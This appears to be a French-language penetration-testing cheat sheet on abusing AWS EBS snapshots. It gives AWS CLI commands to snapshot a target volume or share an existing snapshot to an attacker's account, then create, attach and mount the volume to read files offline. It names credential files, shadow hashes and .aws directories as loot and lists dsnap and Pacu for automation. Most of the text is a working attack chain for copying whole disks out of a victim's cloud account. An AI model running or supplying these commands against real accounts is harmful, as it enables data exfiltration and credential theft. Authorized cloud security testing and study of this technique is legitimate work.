Un snapshot EBS est une copie d'un volume, et avec ec2:CreateSnapshot ou l'accès à un snapshot existant vous pouvez le monter sur une instance que vous contrôlez et lire chaque fichier hors ligne, en contournant l'OS et ses contrôles d'accès. Les snapshots sont aussi partageables entre comptes, de sorte qu'un snapshot aux permissions trop larges expose un disque entier.
Snapshot, partage et montage#
# Snapshot a target volume
aws ec2 create-snapshot --volume-id vol-xxxx --description x
# Or share an existing snapshot to an account you control
aws ec2 modify-snapshot-attribute --snapshot-id snap-xxxx \
--attribute createVolumePermission --operation-type add --user-ids <your-acct>
# In your account/AZ: make a volume from it and attach to your instance
aws ec2 create-volume --snapshot-id snap-xxxx --availability-zone <az>
aws ec2 attach-volume --volume-id vol-yyyy --instance-id <your-instance> --device /dev/sdf
# then: mount /dev/xvdf1 /mnt and read
Notes d'exploitation#
- Trouver des secrets de cette manière contourne entièrement les processus en cours d'exécution : fichiers de credentials, hashs du shadow, configuration applicative et répertoires
.awssont tous lisibles depuis le volume monté. dsnapet les modules EBS de Pacu automatisent l'enchaînement snapshot, partage, create-volume, attach et montage.- Les snapshots publics (partagés avec
all) sont découvrables à l'échelle de la région ; vérifiezdescribe-snapshots --restorable-by-user-ids allrestreint à un propriétaire.
Outils#
- AWS CLI (
create-snapshot,modify-snapshot-attribute,create-volume) : l'enchaînement. - dsnap (RhinoSecurityLabs) : télécharger et monter des snapshots EBS en local.
- Pacu (
ebs__explore_snapshots) : automatiser l'exploration des snapshots.